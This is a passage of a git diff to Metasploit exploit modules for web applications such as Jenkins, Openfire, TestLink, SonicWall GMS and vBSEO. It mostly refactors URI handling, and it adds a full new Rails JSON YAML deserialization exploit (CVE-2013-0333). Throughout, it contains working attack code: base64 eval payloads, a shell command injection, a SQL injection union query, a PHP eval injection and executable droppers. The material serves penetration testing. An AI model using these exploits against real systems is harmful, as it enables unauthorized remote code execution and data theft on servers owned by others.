'?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index bc195f03a9..bd825a7a00 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote def http_send_command(cmd, opts = {}) request_parameters = { 'method' => 'POST', - 'uri' => "#{@uri.path}script", + 'uri' => normalize_uri(@uri.path, "script"), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Logging in...') res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@uri.path}j_acegi_security_check", + 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), 'vars_post' => { 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 0206ac51f7..98f2f7ebda 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php" + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php") }) if res and res.code == 200 @@ -87,14 +87,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)") send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php", + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php"), 'data' => php }) print_status("#{peer} - Requesting data.php") send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php" + 'uri' => normalize_uri(uri, 'admin/libraries/ajaxfilemanager/inc/data.php') }) handler diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index fbe992bc3a..34ea77ce51 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(uri, "/index.php")}) if res and res.body =~ /MobileCartly/ return Exploit::CheckCode::Detected else @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("#{@peer} - Uploading payload") res = send_request_cgi({ - 'uri' => "#{base}/includes/savepage.php", + 'uri' => normalize_uri(base, "/includes/savepage.php"), 'vars_get' => { 'savepage' => php_fname, 'pagecontent' => get_write_exec_payload(:unlink_self=>true) @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote # Run payload # print_status("#{@peer} - Requesting '#{php_fname}'") - send_request_cgi({ 'uri' => "#{base}/pages/#{php_fname}" }) + send_request_cgi({ 'uri' => normalize_uri(base, 'pages', php_fname) }) handler end diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 96c4a846cb..0347f05503 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -98,7 +98,7 @@ class Metasploit4 < Msf::Exploit::Remote end def http_send_raw(cmd) - path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi' + path = normalize_uri(target_uri.path, '/mt-upgrade.cgi') pay = cmd.gsub('\\', '\\\\').gsub('"', '\"') send_request_cgi( { diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index 4f4557bb80..a7fc47a52b 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -89,10 +89,10 @@ class Metasploit3 < Msf::Exploit::Remote end def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' - path = "#{base}login.jsp" + path = normalize_uri(base, "login.jsp") res = send_request_cgi( { 'uri' => path @@ -183,7 +183,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?uploadplugin"), 'method' => 'POST', 'data' => data, 'headers' => @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote if datastore['REMOVE_PLUGIN'] print_status("Deleting plugin #{plugin_name} from the server") res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?deleteplugin=") + plugin_name.downcase, 'headers' => { 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 2f45fc7602..a245a3cd45 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -96,11 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote ] qs = args.join() - uri = normalize_uri(target_uri) + uri = normalize_uri(target_uri.path) uri = "#{uri}?#{qs}" - #print_status("URI: #{target_uri}?#{qs}") # Uncomment to preview URI - # Has to be all on one line, so gsub out the comments and the newlines payload_oneline = " 'GET', - 'uri' => "#{base}mods/documents/uploads/#{f}", + 'uri' => normalize_uri(base, 'mods/documents/uploads/', f), 'cookie' => cookie }) end diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index 7e1bee9ef4..6052a86061 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -56,9 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { @@ -74,9 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote end def get_session - uri normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 3de593e6cd..d0733a8efb 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -73,13 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path print_status("#{rhost}#{rport} - Sending request...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}drawimage.php", + 'uri' => normalize_uri(uri, "drawimage.php"), 'vars_get' => { 'pdf' => 'make', 'pfilez' => "xxx; #{payload.encoded}" diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index 10c502fc7f..1015e29dd6 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -61,9 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') res = send_request_raw( { @@ -77,9 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') send_request_cgi( { diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 9bbbcb3967..1552699482 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -73,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote header = rand_text_alpha_upper(3) header_append = rand_text_alpha_upper(4) - uri = normalize_uri(datastore['URI']) - uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php' + uri = normalize_uri(datastore['URI'], "pmwiki.php") res = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 39df154e4f..47959f1b71 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")}) if res and res.body =~ /
.+qdPM ([\d])\.([\d]).+\<\/div\>/m major, minor = $1, $2 return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70 @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote # Login res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/login", + 'uri' => normalize_uri("#{base}/index.php/home/login"), 'vars_post' => { 'login[email]' => username, 'login[password]' => password, @@ -187,7 +187,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie, @@ -205,7 +205,7 @@ class Metasploit3 < Msf::Exploit::Remote # When we upload a file, it will be renamed. The 'myAccount' page has that info. res = send_request_cgi({ - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'cookie' => cookie }) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb new file mode 100644 index 0000000000..6fafba24d9 --- /dev/null +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -0,0 +1,118 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in the + JSON request processor of the Ruby on Rails application framework. + This vulnerability allows an attacker to instantiate a remote object, + which in turn can be used to execute any ruby code remotely in the + context of the application. This vulnerability is very similar to + CVE-2013-0156. + + This module has been tested successfully on RoR 3.0.9, 3.0.19, and + 2.3.15. + + The technique used by this module requires the target to be running a + fairly recent version of Ruby 1.9 (since 2011 or so). Applications + using Ruby 1.8 may still be exploitable using the init_with() method, + but this has not been demonstrated. + + }, + 'Author' => + [ + 'jjarmoc', # Initial module based on cve-2013-0156, testing help + 'egypt', # Module + 'lian', # Identified the RouteSet::NamedRouteCollection vector + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-0333'], + ], + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => false, + 'Targets' => [ ['Automatic', {} ] ], + 'DisclosureDate' => 'Jan 28 2013', + 'DefaultOptions' => { "PrependFork" => true }, + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) + ], self.class) + + end + + # + # Create the YAML document that will be embedded into the JSON + # + def build_yaml_rails2 + + code = Rex::Text.encode_base64(payload.encoded) + yaml = + "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + + "eval(%[#{code}].unpack(%[m0])[0]);' " + + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " + + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n" + yaml.gsub(':', '\u003a') + end + + + # + # Create the YAML document that will be embedded into the JSON + # + def build_yaml_rails3 + + code = Rex::Text.encode_base64(payload.encoded) + yaml = + "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + + "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" + yaml.gsub(':', '\u003a') + end + + def build_request(v) + case v + when 2; build_yaml_rails2 + when 3; build_yaml_rails3 + end + end + + # + # Send the actual request + # + def exploit + + [2, 3].each do |ver| + print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 'application/json', + 'headers' => { 'X-HTTP-Method-Override' => 'get' }, + 'data' => build_request(ver) + }, 25) + handler + end + + end +end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index b103422ff4..e5e5311505 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -10,7 +10,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -47,14 +46,14 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 7 2013', + 'DefaultOptions' => { "PrependFork" => true }, 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) register_evasion_options( @@ -63,35 +62,12 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - # - # This stub ensures that the payload runs outside of the Rails process - # Otherwise, the session can be killed on timeout - # - def detached_payload_stub(code) - %Q^ - code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first - if RUBY_PLATFORM =~ /mswin|mingw|win32/ - inp = IO.popen("ruby", "wb") rescue nil - if inp - inp.write(code) - inp.close - end - else - if ! Process.fork() - eval(code) rescue nil - end - end - ^.strip.split(/\n/).map{|line| line.strip}.join("\n") - end - # # Create the YAML document that will be embedded into the XML # def build_yaml_rails2 - # Embed the payload with the detached stub - code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) + code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + @@ -108,8 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote # def build_yaml_rails3 - # Embed the payload with the detached stub - code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) + code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + @@ -164,24 +139,17 @@ class Metasploit3 < Msf::Exploit::Remote # def exploit - print_status("Sending Railsv3 request to #{rhost}:#{rport}...") - res = send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", - 'method' => datastore['HTTP_METHOD'], - 'ctype' => 'application/xml', - 'headers' => { 'X-HTTP-Method-Override' => 'get' }, - 'data' => build_request(3) - }, 25) - handler + [2, 3].each do |ver| + print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") + send_request_cgi({ + 'uri' => datastore['URIPATH'] || "/", + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 'application/xml', + 'headers' => { 'X-HTTP-Method-Override' => 'get' }, + 'data' => build_request(ver) + }, 25) + handler + end - print_status("Sending Railsv2 request to #{rhost}:#{rport}...") - res = send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", - 'method' => datastore['HTTP_METHOD'], - 'ctype' => 'application/xml', - 'headers' => { 'X-HTTP-Method-Override' => 'get' }, - 'data' => build_request(2) - }, 25) - handler end end diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 830202444b..cf46bf92d7 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -64,12 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - uri = normalize_uri(datastore['URI']) - if uri[-1,1] != '/' - uri = uri + "index.php" - else - uri = uri + "/index.php" - end + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_raw({ 'uri' => uri @@ -91,12 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_session(user, pass) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "login.php" - else - uri = uri + "/login.php" - end + uri = normalize_uri(datastore['URI'], "login.php") res = send_request_cgi({ 'uri' => uri, @@ -121,12 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote def upload_page(session, newpage, contents) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "ftp_upload_file.php" - else - uri = uri + "/ftp_upload_file.php" - end + uri = normalize_uri(datastore['URI'], "ftp_upload_file.php") boundary = rand_text_alphanumeric(6) @@ -187,12 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote def cmd_shell(cmdpath) print_status("Calling payload: #{cmdpath}") - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + cmdpath - else - uri = uri + "/#{cmdpath}" - end + uri = normalize_uri(datastore['URI'], cmdpath) send_request_raw({ 'uri' => uri diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 4a78d81497..4013bc9573 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -181,40 +181,46 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_java print_status("#{@peer} - Uploading WAR file") - jsp_name = "index" app_base = rand_text_alphanumeric(4+rand(32-4)) - war = payload.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - }).to_s + war = payload.encoded_war({ :app_name => app_base }).to_s + war_filename = path_join(install_path, "webapps", "#{app_base}.war") - war_filename = path_join(install_path, "webapps","#{app_base}.war") register_files_for_cleanup(war_filename) + dropper = jsp_drop_bin(war, war_filename) dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" upload_and_run_jsp(dropper_filename, dropper) - # Now make a request to trigger the newly deployed war - send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)), - 'method' => 'GET' - }) + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{@peer} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end end def exploit_native print_status("#{@peer} - Uploading executable file") exe = payload.encoded_exe - exe_filename = Rex::Text.rand_text_alpha(8) + exe_filename = path_join(install_path, Rex::Text.rand_text_alpha(8)) if target['Platform'] == "win" exe << ".exe" end register_files_for_cleanup(exe_filename) - dropper = jsp_drop_and_execute(exe, path_join(install_path, exe_filename)) + dropper = jsp_drop_and_execute(exe, exe_filename) dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" upload_and_run_jsp(dropper_filename, dropper) diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 28f3e0854e..d91113a065 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' peer = "#{rhost}:#{rport}" @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}login.php" + 'uri' => normalize_uri(base, "login.php") }) return Exploit::CheckCode::Unknown if res.nil? @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}lib/attachments/attachmentupload.php?id=#{id}&tableName=#{table}", + 'uri' => normalize_uri(base, "lib/attachments/attachmentupload.php") + "?id=#{id}&tableName=#{table}", 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 @@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/#{table}/#{id}/" + 'uri' => normalize_uri(base, "upload_area", table, id) }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @token = $1 @@ -238,11 +238,11 @@ class Metasploit3 < Msf::Exploit::Remote # attempt to retrieve real file name from the database if @token.nil? print_status("#{@peer} - Retrieving real file name from the database.") - sqli = "lib/ajax/gettprojectnodes.php?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" + sqli = normalize_uri(base, "lib/ajax/gettprojectnodes.php") + "?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}#{sqli}", + 'uri' => sqli, 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @@ -263,7 +263,7 @@ class Metasploit3 < Msf::Exploit::Remote begin send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/nodes_hierarchy/#{id}/#{@token}.php" + 'uri' => normalize_uri(base, "upload_area", "nodes_hierarchy", id, "#{@token}.php") }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 5fdf162a99..a46cd2c033 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -198,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote # # UPLOAD # - path_tmp = normalize_uri(datastore['PATH']) + "/deploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "deploy") + query_str print_status("Uploading #{war.length} bytes as #{app_base}.war ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -247,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote # # DELETE # - path_tmp = normalize_uri(datastore['PATH']) + "/undeploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "/undeploy") + query_str print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -263,7 +263,7 @@ class Metasploit3 < Msf::Exploit::Remote end def query_serverinfo() - path = normalize_uri(datastore['PATH']) + '/serverinfo' + path = normalize_uri(datastore['PATH'], '/serverinfo') res = send_request_raw( { 'uri' => path diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 54565c898e..ca61aeed05 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -58,8 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php" + uri = normalize_uri(datastore['URI'], "admincp", "login.php") res = send_request_raw( { @@ -75,8 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit p = Rex::Text.encode_base64(payload.encoded) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook" + uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook" res = send_request_cgi( { @@ -92,8 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote } }, 25) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "index.php" : "/index.php" + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_cgi( { diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 5735349a01..3745fe16e3 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -55,9 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote flag = rand_text_alpha(rand(10)+10) data = "char_repl='{${print(#{flag})}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => "POST", @@ -82,9 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index f4ba74ac42..e93870a0bf 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -63,8 +63,8 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res1 = send_request_raw({'uri'=>"#{base}/index.php"}) - res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"}) + res1 = send_request_raw({'uri'=>normalize_uri("#{base}/index.php")}) + res2 = send_request_raw({'uri'=>normalize_uri("#{base}/work/resultimage.php")}) if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and res2 and res2.code == 200 @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/work/resultimage.php", + 'uri' => normalize_uri("#{base}/work/resultimage.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) @@ -121,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote return end - @target_path = "#{base}/results/#{fname}" + @target_path = normalize_uri("#{base}/results/#{fname}") print_status("#{peer} - Requesting #{@target_path}") res = send_request_cgi({'uri'=>@target_path}) diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index f2c8d8de11..000336b98b 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote def get_cookie res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php" + 'uri' => normalize_uri(@base, "wikka.php") }) # Get the cookie in this format: @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote # def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login - uri = "#{@base}wikka.php?wakka=UserSettings" + uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings" res = send_request_raw({ 'method' => 'GET', 'uri' => uri, @@ -163,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", + 'uri' => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie }) @@ -189,11 +189,11 @@ class Metasploit3 < Msf::Exploit::Remote # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = 